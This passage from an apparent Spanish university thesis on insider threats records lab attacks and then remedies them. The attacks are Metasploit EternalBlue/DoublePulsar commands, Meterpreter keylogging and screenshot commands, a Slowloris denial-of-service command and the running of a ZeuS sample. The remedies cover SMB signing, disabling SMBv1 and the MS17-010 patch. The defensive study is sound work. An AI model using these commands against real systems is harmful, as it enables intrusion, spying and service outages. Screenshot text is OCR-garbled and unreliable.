usuario de la computadora victima esta realizando. La figura 13-3 muestra la ejecucion de este

comando desde la consola de la sesion iniciada en metasploit.

Applications = Places ¥ [ Vncviewer ~ Thu12:44

Tight VNC: win7

Figura 13-3: Resultado de la ejecucion del comando run VNC desde la méquina atacante.
Realizado por: Byron Barragan, 2020
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nKknown command: sNow.

» screenshot

Screenshot saved to: /root/fMcXonoP. jpeg
MEIErpreter

Figura 14-3: Resultado del comando screenshot.
Realizado por: Byron Barragan, 2020

La figura 14-3 indica otro comando que se puede utilizar, tomando una captura de pantalla del
usuario guardandose en la ruta especificada como lo muestra la figura 15-3.

© Home » Q 3 w =

® Recent

M & fMcXonoP.jpeg e 600
Properties X
- 1280 % 800 pixels
\ JPEG Image
49.1k8
®
p

Figura 15-3 Ubicacion de la captura de pantalla tomada con el comando screenshot.
Realizado por: Byron Barragan, 2020

nererpreter
» execute f cmd.exe 1 H
3112 created
Channel 3 created
Microsoft Windows [Versi®n 6.1.7601)
Copyright (c) 2009 Microsoft Corporation Reservados todos los derechos

C:\Windows\system32 l

Figura 16-3: Linea de comando para ejecutar una ventana de CMD desde la maquina atacante.
Realizado por: Byron Barragan, 2020
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Adaptador de Ethernet Conexi®n de ®rea local 3

Sufijo DNS especlfico para la conexi®n : localdomain
vénculo: direccin IPv6 local 4 feB80::7556: fobe:6a58: 13ae%19
Direcci®n IPv4 .+ 192.168.17.138

255,255.255.0

m Méscara de subred

Puerta de enlace predeterminada : 192.168.17.2

% Adaptador de Ethernet Conexi®n de red Bluetooth

Estado de los medios medios desconectados

“’l Sufijo DNS HﬂprtﬂIX(n para la conexi®n
Adaptador de Ethernet Conexi®n de @rea local:

sufijo DNS especBfico para la conexi®n

vlnculo: direcciin IPv6 local . 1 TeB80::816¢:1ae3:5b43:3092%11
Direccibn IPv4 ; 192,168.193,137
M@scara de subred . - 255,255.255.90

Puerta de enlace predeterminada 192.168,193.1

Adaptador de t@nel isatap.{B4ASA204-C390-427F-BBFF-0ED4452CF7C4):

Figura 17-3: Ejecucion del comando ipconfig desde la maquina atacante.
Realizado por: Byron Barragan, 2020

Las figuras 16 y 17 del presente capitulo muestran otro comando que se puede utilizar, en este
caso para abrir una ventana de CMD. En la tabla 25-3 se muestran algunos comandos probados

durante la sesion iniciada.

Tabla 25-3: Comandos probados durante el ataque a la computadora LAB-CM-14.

Comando Descripcién

Observar a tiempo real desde una sesion vnc

Run vnc que es lo que hace el usuario de la maquina
victima.

Getuid Obtener la identificacion de la maquina
victima.

Ps Listar todos los procesos que estdn en
ejecucion en la maquina victima.

Execute —f cmd.exe —i —H Ejecutar una sesion de cmd desde la maquina
atacante.

Keyscan_start Iniciar un sniffer para el trafico de la
maquina victima.

Keyscan_dump Capturar trafico de la maquina victima y
almacenar en la maquina atacante.

Screenshot Tomar una captura de pantalla de la victima 'y
almacenarla en la maquina atacante.

Realizado por: Byron Barragan, 2020

La vulnerabilidad se explot6 con éxito, desde la victima el antivirus no detecto ninguna accion
sospechosa, sin embargo, Snort si detectd este ataque, en la figura 18-3 se muestra la alerta

generada por Snort durante el ataque.
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Figura 18-3: Alerta generada por Snort durante el ataque a la computadora LAB-CM-14.
Realizado por: Byron Barragan, 2020

Como se menciond anteriormente esta vulnerabilidad se puede complementar con la ejecucion
del Backdoor Doublepulsar que nos permite acceder a la victima, para ello se utiliza las

siguientes lineas de cddigo para implementar este Backdoor en la victima.

Use exploit/windows/smb/eternalblue_doublepulsar
Set TARGETARCHITECTURE x64

Set PROCESSINJECT Insider.exe

Exploit

Estas lineas indican que se cred un proceso llamado Insider.exe con el cual se puede acceder a la
victima. Este proceso creado se puede observar desde administrador de tareas de Windows en la
computadora victima, cabe indicar que este proceso después de un tiempo se esconde. La figura

19-3 muestra el proceso creado en la victima.

Aghcacones | Procesos | Senvicos | Rendimiento | Funcones de red | Usuaris

Nomrr e de m Norty e [ Mo a Dty pOdr
corss. exe «© 1,128 K8

S, exe acFore o0 H.0125E  Admraatrador de ventanam del ssoforio
expiorer.exe ecFore o ILEHNE BExplorador o Wandows

S84K8  ApacheBerch command I
L.7MNE  Peocest
LE3GNE Admnstrador de tareas de Windows

ecFore C 745208 \VMwere Tools Core Service

760 KB

Figura 19-3: Proceso creado en la computadora LAB-CM-14.
Realizado por: Byron Barragén, 2020
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Este Backdoor fue detectado de la misma manera por Snort debido a que las amenazas se

relacionar teniendo un identificador de alerta igual.

11/20-16:19:50.248190 [** [1:42944:2)] OS-WINDOWS Microsoft windows SMB remote code ex
ecutior aittempt [**] [Classit wtion Attempted Administrator Privilege Gain] [Priority

1] {TCP) 192.168.193.135:4079 » 192.168.193.137:44% l

Figura 20-3: Alerta generada por el Backdoor Doublepulsar.
Realizado por: Byron Barragan, 2020

3.2.3. Explotacién de vulnerabilidades de tipo denegacién de servicio

Como se observo en la tabla 23-3, el 8% de las vulnerabilidades encontradas pertenecen al tipo
de denegacidn de servicio, es decir, que se puede explotar con este tipo de ataques. Para realizar
la explotacidn, en el escenario virtual se instal6 un servidor web apache configurado la pagina
por defecto para realizar las pruebas como se observa en la figura 21-3, siendo esta el objetivo
del ataque. Para cumplir con el objetivo se utiliza la herramienta Slowloris que permite
mediante una linea de comando realizar un ataque de denegacion de servicio, usa trafico HTTP
(Hipertext Transfer Protocol) hace una conexién TCP completa y luego requiere solo unos
pocos cientos de solicitudes a largo plazo e intervalos regulares. Como resultado, la herramienta
no necesita enviar mucho trafico para agotar las conexiones disponibles en un servidor.
eventualmente, todas las conexiones se agotaran y ningun otro servidor podra conectarse hasta
que se liberen al menos algunas de las conexiones retenidas. Esta herramienta fue desarrollada
por Robert Hansen y escrita en el lenguaje de programacion perl con soporte multiplataforma.
Slowloris permite que una sola maquina pueda denegar el servicio.

El ataque se va a realizar desde la computadora LAB-CM-13 hacia el servidor web siendo esta

Gltimo la victima.

This page 5 used (0 len! the proper operation of The after it hos been
Instaliod. It you con read this page A means that thes 580 s working properdy. Ths sorvet &
powered by

Are you the Admunestrator?

£ mm ey "o
Figura 21-3: P&gina por defecto de apache, objetivo del ataque.
Realizado por: Byron Barragan, 2020
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En apartados anteriores se realiz6 un escaneo del escenario y se obtuvo las direcciones IP por lo
que esa informacion se utiliza en este ataque. La direccion IP del servidor web apache en el
escenario es 192.168.193.138/24 como se observa en la figura 1-3. Primero se debe adquirir la
herramienta para ello se abre una ventana del terminal de Kali Linux y se clona la herramienta

con la linea de comando:

Git clone https://github.com/llaera/slowloris.pl.git.

Después de la adquisicion de la herramienta se ingresa al directorio en donde se guardé la
herramienta y se ejecuta la linea de comando para el ataque: Perl slowloris.pl —dns
192.168.193.138 —port 80 —time 1 —num 5000 —cache.

Esta linea indica que se ejecute un atagque hacia la direccion IP del servidor web enviando 5000
paquetes TCP a través del puerto 80 cada 1 segundo y ademas que se almacenen los paguetes en
cache. La definicion del nimero de paquetes para la ejecucion del ataque se realizd en base a los
logs almacenados de las alertas detectadas con Snort durante el andlisis del trafico, méas
concretamente se revisd el log almacenado perteneciente al dia en que sucedid el intento de
ataque de denegacion de servicio, se pudo determinar que el ataque tuvo una duracion de
aproximadamente de 10 minutos en el que se enviaron alrededor de 5000 paquetes en un
segundo. Esta informacion fue tomada como punto de partida ya que se realizaron 30 pruebas
cada una variando la cantidad de paquetes que se enviaron durante un segundo registrando el
tiempo en el que se daba la denegacion al objetivo, la variacion de los paquetes se dio hasta
duplicar la cantidad de paquetes enviado en la primera prueba, en la tabla 26-3 se puede
observar los resultados. Tras la ejecucion del comando la pagina por defecto de apache comenzé
a tener dificultades de acceso hasta que finalmente no pudo acceder, en la figura 22-3 muestra la
pagina por defecto durante el ataque. Durante el ataque se ejecutdé ademas Wireshark para

comprobar los paquetes que se enviaban durante el ataque. Esto se muestra en la figura 23-3.

Dwngnosticar problerss de conenon

Figura 22-3: Pagina por defecto de apache, durante la ejecucion del ataque
Realizado por: Byron Barragan, 2020
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6541 12.111681794192.168,193.128
6542 12.23650354!192.168,193.135

192.108.193.1 uop
192.168.193.138 TCcP

J66 Source port: n
74 52378 > http |

b Frame 1: 321 bytes on wire (2568 bits), 321 bvtes captured (2568 bits) on interface @ e

0060 00 Oc 29 71 78 de 00 Bc 29 39
0010 01 33 ce 20 40 00 40 06 67 37
0020 ¢l Ba ca 30 00 50 37 ff 46 do6
0030 01 f6 97 B1 00 06 01 01 08 0a

Fig‘l}é 23-3; Résu]tados de Wireshérk durante ]a ejecucion del ataque

Realizado por: Byron Barragan, 2020

ab fb dd 73 00 38

46 B8 08 00 45 00 ee)oloee E
cO 08 cl 87 cO aB +3.%9.0. ¢7..... l
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Tabla 26-3: Comandos probados durante el ataque a la computadora LAB-CM-14

Prueba Tiempo Paquetes Tiemngggeuggr;i?acién Tiemp?silzl:ﬁglégiracién
1 1 5000 87,99 0,5
2 1 5173 70,27 05
3 1 5346 68,45 0,5
4 1 5519 68,75 0,5
5 1 5692 69,41 0.5
6 1 5865 71,26 0,5
7 1 6038 68,23 0,5
8 1 6211 67,49 0,5
9 1 6384 64,5 0,5

10 1 6557 65,28 05
11 1 6730 66,27 05
12 1 6903 64,74 0,5
13 1 7076 63,29 05
14 1 7249 67,23 05
15 1 7422 68,91 0,5
16 1 7595 61,32 05
17 1 7768 60,15 05
18 1 7941 62,31 05
19 1 8114 64,78 05
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20 1 8287 68,29 0,5
21 1 8460 63,24 0,5
22 1 8633 59,23 0,5
23 1 8806 57,12 0,5
24 1 8979 59,32 0,5
25 1 9152 60,32 0,5
26 1 9325 59,21 0,5
27 1 9498 57,32 0,5
28 1 9671 55,76 0,5
29 1 9844 53,24 0,5
30 1 10017 56,38 0,5

Realizado por: Byron Barragan, 2020

El objetivo de realizar 30 pruebas fue determinar si al duplicar la cantidad de paquetes el tiempo
de denegacion se disminuia a la mitad, sin embargo, al observar los resultados de la tabla 26-3 y
el Gréafico 11-3 se concluye que el tiempo tiende a disminuir, pero no a la mitad. El tiempo de
recuperacioén no vario en ninguna prueba siempre fue de 0.5 segundos. Un usuario insider
puede utilizar esta herramienta para enviar paquetes e intentar denegar un servicio o

simplemente ralentizar la red en si.

Relacion Tiempo-Paquetes de un ataque de
denegacion con Slowloris

100

90

80 \
70 ‘\._.—-. — — al

o M ) -A

50
40

Tiempo de denegacion

30
20
10

5000 6000 7000 8000 9000 10000

Paquetes TCP enviados

Gréfico 11-3: Relacién Tiempo- Paquetes en un ataque de denegacién de servicio usando
Slowloris
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3.2.4. Explotacion utilizando Malware Zeus.

Para la explotacion se utiliza una muestra del malware ZeuS y se ejecuta en la computadora
victima. Se seleccion6 este malware debido a que fue el que se detecté con mas frecuencia
durante el analisis con Snort. Como se mencioné anteriormente este malware tiene varias
versiones por lo que encontrar una muestra de este malware con la versién exacta que se detectd
durante el analisis de trafico es complicado sin embargo gracias al repositorio de la pagina web
https://www.grc.com/malware.htm se pudo conseguir una version del malware ZeuS conocido

como malware ZeroAccess.

Para esta prueba no se tuvo conectividad entre las maquinas virtuales con la maquina fisica ya
que el malware que se maneja es malicioso y puede contagiar la computadora fisica.
En la figura 24-3 se observa la descarga de la muestra de malware, esta version se presenta con

una extension pdf.

Figura 24-3: Muestra del malware ZeuS
Realizado por: Byron Barragan, 2020

Al ejecutar el malware nos presenta una ventana de error de comunicacion y actualizaciéon de
adobe flash player ya que este malware pretendia ser un instalador de actualizacién de este

programa. Esto se puede observar en la figura 25-3.
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Figura 25-3: Ejecucion de la Muestra del malware ZeuS
Realizado por: Byron Barragan, 2020

Como se observa en la figura 25-3 se observa que, durante la ejecucion de la muestra del
malware, el icono desaparece y aparentemente no ocurrié nada, sin embargo, el malware ya esta
en ejecucion en segundo plano. Snort pudo detectar este malware y mostraba alertas como se

puede ver en la figura 26-3

( n f packet Irocs ] [ 13209

11/21-15:00:18.395603 | *® 1:23492:° MALWARE -CNC Win.Trojan.ZeroAccess outbound conn
tion | Cla 1 3\t A Net Ik rola vas dete ¢ {Priorit { Ul ) 1
13.1 t i . 114.1 ' 3

11/21-15:08:18.39719¢ ’e 1:23492:°5 MALWARE -CNC wWin.Trojan.ZeroAccess outbound conn

ection ] 1T1ca A Networ f 3 ) | t Priorit { Ul | 1€
) L i 14,128 1:53

11/21-15:00:18,.498329 1:23492:5 MALWARE -CNC Win.Trojan.ZeroAccess outbound

ectior ) Lficat A Net I 1rol wa I 1K Friorit | JOF ) 1t
193.137:¢ 49 14.1 '3

11/21-15:00:18.,.498448 **] [1:23492:5] MALWARE-CNC Win.Trojlan.ZeroAccess outbound conn

ection [** Classiflicatio A Network Trojan was detected [(Priority 1 {UDP} 19: l'»“l
193.1 € ) 114.1 1 3

11/21-15:00:18. 498662 [**] [1:23492:5] MALWARE-CNC Win.Trojan.ZeroAccess outbound conn

. rootCiocalhost 1/4

Figura 26-3: Alertas generadas durante la ejecucion del malware
Realizado por: Byron Barragan, 2020
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El ataque continu6 por 30 minutos y Snort arrojo los siguientes resultados mostrados en la tabla
27-3.

Tabla 27-3: Alertas registradas durante 30 minutos de ataque

Tiempo de ataque Alertas registradas
10 minutos 1248
20 minutos 1216
30 minutos 1223
Total 3687

Realizado por: Byron Barragan, 2020

Cada 10 minutos el malware generaba alrededor de 1200 alertas teniendo un total de alrededor de
3600 alertas en 30 minutos. Ademas, se registrd la utilizacion de recursos de memoria en la

computadora victima presentada en la tabla 28-3 y en la figura 27-3.

Tabla 28-3: Porcentaje de utilizacidn de recursos de la maquina victima

Tiempo de ataque

%o de utilizacion de memoria
antes del ataque

% de utilizacion de
memoria durante el

ataque
10 minutos 26% 32%
20 minutos 27% 36%
30 minutos 26% 37%

Realizado por: Byron Barragan, 2020
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Figura 27-3: Uso de recursos de la maquina victima
Realizado por: Byron Barragan, 2020
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En la tabla 28-3 se observa que el porcentaje de utilizacion de recursos aumenta conforme el
tiempo del ataque aumenta. Aparentemente no hay mucha diferencia, pero por lo general este
malware no trabaja solo, sino que se complementa con otras versiones y con el ransomware
CryptoLocker aumentando asi mas el porcentaje de utilizacion de recursos llegando un punto en
que utilizar la computadora victima del ataque va a ser complicado. Al apagar la maquina victima
Snort ya no presenta alertas, sin embargo, al encender las alertas contintan por lo que este es un
ataque de malware continuado lo que concuerda con lo detectado con Snort y este malware
generando un ndmero elevado de alertas. Un usuario insider puede infectar la computadora
victima dejando una copia de este malware y ejecutarla causando un funcionamiento no eficiente

en la computadora victima.
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CAPITULO IV

4. GUIA DE SOLUCION PARA LAS VULNERABILIDADES Y AMENAZAS
EXPLOTADAS

4.1. Solucibn para la vulnerabilidad: Generic-tcp-timestamp y Generic-icmp-

timestamp.

Estas vulnerabilidades son las mé&s comunes encontradas por Nexpose, en el reporte ejecutivo
generado después del escaneo se presenta posibles soluciones para estas vulnerabilidades en
diferentes sistemas operativos, las cuales son desactivar tcp timestamp e icmp timestamp en

general, a continuacién, se muestra estas soluciones.

. Sistemas Cisco.

Ejecutar el comando: no ip tcp timestamp

o Sistemas FreeBSD y OpenBSD.
Establecer el valor de net.inet.tcp.rfc1323 en 0 ejecutando el comando: sysctl -w
net.inet.tcp.rfc1323=0

Ademas, coloque el siguiente valor en el archivo de configuracién predeterminado de sysctl,
generalmente sysctl.conf: net.inet.tcp.rfc1323=0

o Sistemas operativo Linux.

Desactivar tcp timestamp estableciendo el valor de net.ipv4.tcp_timestamps en 0 ejecutando el

comando: sysctl -w net.ipv4.tcp_timestamps=0

Ademas, coloque el siguiente valor en el archivo de configuracion predeterminado de sysctl,

generalmente sysctl.conf: net.ipv4.tcp_timestamps=0
o Varias Sistemas operativos Windows

Esta vulnerabilidad fue encontrada en su mayoria en sistemas operativo Windows 7 por lo que
esta solucion se prueba en el escenario virtual, para ello se ingresa desde el editor del registro
del  sistema  (Windows + r y escribir regeditf a la  direccion:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters, incluir un

Dword con nombre TCP13230pts y poner el valor 1 como se muestra en la figura 1-4.
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Equipo\HKEY_LOCAL_MACHIME\SYSTEMY CurrentControlSet Services\ Tepiph Parameters
SOLWriter ~ || Mombre Tipo Datos
sni2 ab| (Predeterminada) REG_SZ (valor no establecido)
;rs"[;‘iw ab)| DataBasePath REG_EXPAND_SZ  %SystemRoot%\System32\drivers\etc
sh-agent 98| DeadGWDetect... REG_DWORD (sc0D00000T (1)
SstpSve ab|DhepMameServer  REG_SZ 192.168.1.1
StateRepositor 24| Domain REG_SZ
ctexstar #o| DontAddDefault... REG_DWORD OrcDD000000 (0)
stisve #o|EnablelCMPRedi... REG_DWORD Onc0D0000001 (1)
storahci Wo|ForwardBroadca... REG_DWORD OrcDD000000 (0)
starflt ab| Hostname REG_5Z DESKTOP-8QUGDFH
stornvme ab||CSDomain REG_ 57 mshome.net
storqosflt 78| IPEnableRouter REG_DWORD OecD0000000 (0)
StorSve ab| NameServer REG 57
storufs ab| NV Hostname REG_SZ DESKTOP-8QUGDFH
storvsc ab|ReservedPorts REG_MULTI_SZ 1433-1434
SWsVC ab| SearchList REG_SZ
Swenum 15| SyncDomainWit... REG_DWORD Ox00000007 (1)
swprv %8| UseDomainMam... REG_DWORD (xc00000007 (1)
Sintheg [WETCPI0p: | REGDWORD :00000001 (1)
yshain

Figura 1-4: Solucion, deshabilitar la respuesta de marca de tiempo TCP en Windows
Realizado por: Byron Barragan, 2020

Tcpl3230pts le permite al sistema utilizar el RFC 1323, este RFC en particular funciona con
marca de tiempo y escala de ventana de red. La opcidn que esta editando en la figura 1-4 es un
valor de dos bits donde el bit inferior especifica si desea utilizar el escalado de la ventana y el
bit superior especifica si desea utilizar las marcas de tiempo, en este caso el valor “1” indica que

no se desea utilizar las marcas de tiempo TCP.

En algunos sistemas operativos de Windows sobre todo los méas actualizados los paquetes TCP
timestamp no se pueden deshabilitar de forma fiable. Si la vulnerabilidad tcp-timestamp
presenta suficiente riesgo, se debe colocar un firewall capaz de bloguear paquetes tcp-timestamp
frente a los objetivos afectados. Este no fue el caso ya que el sistema operativo de las

computadoras escaneadas con Nexpose es Windows 7.

4.1.1. Solucion contra amenazas de ataques fingerprint.

Se presentan algunas soluciones preventivas para este tipo de ataques como, por ejemplo:

o Instalacion de parches de seguridad.

o Utilizacion de herramientas como VPN (Virtual Private network)

o Configuracion de Firewalls en contra de ataques.

o Configuracion de sistemas de deteccion de intrusos en red (NIDS) en los objetivos.

Este Gltimo se tiene configurado en el escenario virtual, Con Snort se puede configurar una

regla especifica para el trafico de estos tipos de ataques o a su vez instalar otro NIDS que al
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momento de realizar un ataque fingerprinting pueda detectarlo como por ejemplo Suricata. En la

figura 2-4 se observa una captura de una alerta con el NIDS Suricata.

I

=2 Enabied

Figura 2-4: Deteccion del ataque fingerprinting por el NIDS Suricata

La alerta salto en la interfaz de usuario del NIDS indicando la direccién IP de origen y destino,
asi como también los puertos que se utilizaron para la conexion. Una vez detectado se puede

tomar acciones para detectar quien es el usuario insider.

4.2, Solucion para las vulnerabilidades SMB: cifs-smb-signing-disabled, cifs-smb-

signing-not-required, cifs-smb2-signing-disabled, MS17-010 (Eternalblue) y Doublepulsar

4.2.1. Solucioén vulnerabilidades: cifs-smb-signing-disabled, cifs-smb-signing-not-required,

cifs-smb2-signing-disabled.

Existen dos soluciones para estas vulnerabilidades, la primera de ellas es activando la
utilizacién de la firma SMB en los equipos de usuario pertenecientes a las Vlans, en el reporte
generado con Nexpose indica un enlace hacia el blog escrito por José Barreto miembro del
equipo OneDrive de Microsoft en donde se encuentra la configuracion de los valores
predeterminados para los protocolos SMBv1 y SMBv2. En el blog dice: “Hay dos formas
principales de configurar la firma para clientes SMB1 y servidores SMBL1. La mas facil es
establecer una Politica de grupo para configurarla. Asi es, por ejemplo, cémo los controladores
de dominio estan configurados de manera predeterminada para requerir la firma. La otra forma
de hacerlo es mediante la configuracion del registro. En cada lado (cliente SMB1 y servidor
SMBI1), la firma SMB1 se puede configurar como Requerida, Activada o Desactivada” (Barreto,
2010). La tabla 1-4 muestra un resumen de la configuracion de la firma SMBv1 para cliente y la

tabla 2-4 para servidor.
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Tabla 1-4: Resumen de la configuracion de la firma SMBvV1 para cliente

(si el servidor esta de acuerdo): Activado

Ajuste Configuracion de directiva de grupo  |Claves de registro

Requerida Firmar digitalmente las comunicaciones [RequireSecuritySignature = 1
(siempre): activado

Activado Firmar digitalmente las comunicaciones [EnableSecuritySignature = 1,

RequireSecuritySignature = 0

Desactivado

Firmar digitalmente las comunicaciones
(si el servidor esta de acuerdo):
desactivado

EnableSecuritySignature = 0,
RequireSecuritySignature = 0

Fuente: (Barreto, 2010)

Tabla 2-4: Resumen de la configuracién de la firma SMBv1 para servidor

(si el cliente est4 de acuerdo): activado

Ajuste Configuracion de directiva de grupo  [Claves de registro

Requerida  |Firmar digitalmente las comunicaciones |RequireSecuritySignature = 1
(siempre): activado

Activado Firmar digitalmente las comunicaciones [EnableSecuritySignature =1,

RequireSecuritySignature = 0

Desactivado

Firmar digitalmente las comunicaciones
(si el cliente esta de acuerdo): desactivado

EnableSecuritySignature = 0,
RequireSecuritySignature = 0

Fuente: (Barreto, 2010)

SMB2 simplificd esta configuracion al tener solo una configuracion: si era necesario firmar o
no. Esto se puede configurar a través de la directiva de grupo o la configuracién del registro, en
clientes SMB2 y servidores SMB2. En cada lado, la firma se puede configurar como
"Requerida” o "No requerida". (Barreto, 2010). En la tabla 3-4 se muestra la configuracién de la
firma SMBV2 en cliente y servidor.

Tabla 3-4: Resumen de la configuracion de la firma SMBv2

Ajuste Configuracion de directiva de grupo  [Claves de registro
Requerido  |Firmar digitalmente las comunicaciones [RequireSecuritySignature = 1
(siempre): activado

Firmar digitalmente las comunicaciones
(si el servidor esta de acuerdo):

desactivado
Fuente: (Barreto, 2010)

No requerido RequireSecuritySignature = 0

Para realizar la configuracion mostrada en las tablas 1-4 y 2-4 se debe editar el registro del
sistema tecleando Windows + r y escribiendo regedit. Una vez dentro se debe dirigir a:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkStation\Para

meters para el caso de SMBvl y SMBv2 para clientes y para servidor dirigirse a:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameter

para SMBv1y SMBV2. Todas las claves de registro son de tipo DWORD, haciendo clic derecho
sobre la clave de registro En la figura 3-4 se muestra la configuracion realizada correctamente

para cliente y la figura 4-4 la configuracion para servidor.
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@ Editor del Registro

Archivo Edici;}n Ver F_avc_;ritos

Ayuda

[ 1. IPBusEnum
.| IpFilterDriver
b ol iphipsvc

., IPMIDRV

. IPNAT

.. IRENUM

. isapnp

) iScsiPrt

[~ ). kbdclass
-4y kbdhid

b 1 Keylso

, KSecDD

b KSecPkg

- 4. ksthunk
KtmRm

-4, LanmanServer
.. LanmanWorkstation

., Linkage
.. NetworkProvider
i | Parameters

. Idap
1. IkClassAds
. IkTimeSync

<4 | n | 3

< ".'.‘, EnableSecuntySn

“ || Nombre Tipo
REG_SZ

REG DWORD

ab| (Predeterminado)
24| EnablePlainText...

Datos

(valor no establecido)
000000000 (0)

REG_DWORD

0x00000001

ab) ServiceDll

8| ServiceDllUnloa...

REG_DWORD

REG_EXPAND_SZ

%SystemRoot%e\System32\wkssve.dll
0x00000001 (1)

Equipc\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstaticn\Parameters

Figura 3-4 Configuracion de la activacion de la firma SMBv1 para cliente

Realizado por: Byron Barragan, 2020

¥ Editor del Registro
Archive© Edicibn Ver Favoritos: Ayuda
L isapnp “|| Nombre Tipo Datos
b -l iScsiPrt ab) | (Predeterminado) REG_SZ (valor ne establecido)
. ';::;';‘5 4 AdjustedNullSes... REG_DWORD 0x00000003 (3)
- Keylso ?-'S}autodlsconnect REG_DWORD 0x0000000f (15)
s #%|EnableAuthentic... REG_DWORD 0x00000000 (0)
- J. KSecDD
.. KSecPkg ] o 001
o -l ksthunk <~_u_,_e,|&le5ﬂn /si... REG_DWORD 0x00000001 (1)
b ‘ KtmRm g 4] Guid REG_BINARY 68 d8 ec9b 4f 20 2c 4e 8e 80 8a f8 07 06 d1 78
4 |, LanmanServer [ 4 ‘-’-\%JLmannounce REG_DWORD 0x00000000 (0)
; . Aliases ab] NullSessio _MUILTT S7
] ) Autotunedparame<:—ﬁ'2il@w-'"ty5' REG_DWORD 000000000 (0)
] ) DefaultSecurity -'c':j restrictnullsessa... REG_DWORD 0x00000001 (1)
. Linkage ab)ServiceDll REG_EXPAND_SZ %SystemRoot%\system32\srvsve.dll
“- | Parameters $45|ServiceDllUnloa... REG_DWORD 0x00000001 (1)
- L. ShareProviders 24 Size REG_DWORD 000000001 (1)
|, Shares 24 SMB1 REG_DWORD 0x00000000 (0)
- 1. LanmanWorkstation
P | Idap
-« lkClassAds
~~~~ 1 IkTimeSync
R litdio
o~ e litdsve
s L lmhacke
< o »
Equipo\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters

Figura 4-4: Configuracion de la activacion de la firma SMBvV1 para servidor

Realizado por: Byron Barragan, 2020
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La otra forma de solucionar las vulnerabilidades es deshabilitando el protocolo SMBv1. Desde

2014 el protocolo SMBV1 esta obsoleto por lo que se recomienda deshabilitar esta version del

protocolo, para esto se debe hacer lo siguiente:

Para Windows 8 en adelante:

Se puede desactivar el protocolo SMBv1 de forma gréfica para ello se debe dirigir a panel de

control/programas y caracteristicas, al lado izquierdo de la ventana hacer clic en activar o

desactivar caracteristicas de Windows y finalmente desmarcar la opcion Compatibilidad con el

protocolo para compartir archivos SMB1.0/CIFS. La figura 5-4 muestra lo antes descrito.

O]

Ventana principal del Panel de
control

Ver 3 nstaladas

« “ “* & * Paneldecontrol * Programas » Programasy caracteristicas

Desinstalar o cambiar un programa

Para desinstalar un programa, seleccidnalo de la lista y haz clic en Desinstalar, Cambiar o Reparar.

87 Activar o desactivar las

caracteristicas de Windows 0 B Caracteristicas de Windows - o x

Activar o desactivar las caracteristicas de Windows @ |>=m
e Pz.lra.acti\rar una lcaracterl'sltica, seleccipne la cas.illa corrlesplondiente. Para clesa.cti\rarlar Eij,g;
“| elimine la seleccién la casilla. Una casilla seleccionada indica que solo estd activada una
2 parte de la caracteristica. 08,07/
_;é # [] | Bloqueo del dispositivo A Ez;gj;
‘H ] Caracteristicas multimedia 06;’01-!
> Cliente de Carpetas de trabajo 06}01}
ﬁ"'} O Cliente Telnet 06-{[)1-!
[ Cliente TETP /01,
@ [ | Cormpatibilidad con el protocole para compartir archivos SMB 1.0/CIFS 21706/
- ) 06/01/
tj # [] | Componentes heredados 1912/
L] [J | Contenedores 10/04/
L] Escritor de documentos XPS de Microsoft 10/04/]
€| | [0 | escuchadeRrip v| 24110/
2112/
i Cancelar :)&:);
— nncas

Figura 5-4: Deshabilitacion del protocolo SMBv1 en Windows 10

Realizado por: Byron Barragan, 2020

Para Windows 7:

Para deshabilitar SMBv1

como servidor se ingresa a

regedit y se dirigirse a:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameter,

en esta se crea una nueva clave de registro llamada SMB1 con el valor 0 indicando que esta

deshabilitado, el valor 1 indica que esta activado. En la figura 6-4 se muestra la clave de registro

y el valor creado en Windows 7.
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ﬁ' Editor del Registro
Archivo® Edicion Ver Favoritos Ayuda
v isapnp * || Nombre Tipo Datos
Gt ab|(Predeterminado) REG_SZ (valor no establecido)
tzg:";“ #4) AdjustedNullSes... REG_DWORD 0x00000003 (3)
Ko ‘-’g'«"»‘jautodisconnect REG_DWORD 0x0000000f (15)
KSecDD 1’.'«%} EnableAuthentic... REG_DWORD 0x00000000 (0)
KSecPkg ‘.’-‘g}j enableforcedlog... REG_DWORD 0x00000001 (1)
kethunk %ol enablesecuritysi.. REG_DWORD 0x00000001 (1)
KtmRm 28] Guid REG_BINARY 68 d8 ec9b 4f 20 2c 488082 f8 07 06 d1 78
. LanmanServer || ¥s|Lmannounce REG_DWORD (000000000 (0)
: Aliases ab|NullSessionPipes REG_MULTI_SZ
AutotunedParame Wo| requiresecuritysi... REG_DWORD 0x00000000 (0)
DefaultSecurity ‘-’gﬁi restrictnullsessa... REG_DWORD 0x00000001 (1)
Linkage ab| ServiceDll REG_EXPAND_SZ %SystemRoot%\system32\srvsve.dll
Parameters ‘:’-'sij ServiceDllUnloa... REG_DWORD 0x00000001 (1)
ShareProviders Wl Size REG_DWORD 000000001 (1)
Shares <[ F4SMBL REG_DWORD omooooooD
LanmanWorkstation
Idap
IkClassAds
IkTimeSync
litdio
litdsve s
» _bnhnete
< | 1 | »
Equipo\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters

Figura 6-4: Deshabilitacion del protocolo SMBv1 en Windows 7
Realizado por: Byron Barragan, 2020

Con esto se deshabilita el protocolo SMBV1 por lo que ya no se ejecuta en el puerto TCP 445.
Esta solucion también se usa para mitigar la amenaza de Eternalblue ya que se puede bloquear

la ejecucion del exploit el cual usa este puerto SMB 445 para obtener acceso a la computadora.

4.2.2. Solucion para la amenaza Eternalblue y Doublepulsar

Para mitigar estas amenazas desde cualquier versién del sistema operativo Windows se debe
acceder al servicio de Windows Update para descargar todas las actualizaciones disponibles,
entre ellas estara la actualizacion que repara la vulnerabilidad MS17-010. En caso de no estar
seguro de que la actualizacion se completd con éxito se puede descargar el parche de seguridad
desde el catalogo de Microsoft Update siguiendo los siguientes pasos; esto se aplica para
Windows 7 si se necesita para otra version de Windows se debe buscar en el catalogo el parche

correspondiente.

o Ingresar al catdlogo de Microsoft Update, en el siguiente enlace
http://www.catalog.update.microsoft.com/Search.aspx?0=KB4012212&ranMID=24542&ranEA
ID=TnL5HPStwNw&ranSitelD=TnL5HPStwNw-
c0ZTd0iDuT_.gHzxdVIEow&epi=TnL5HPStwNw-
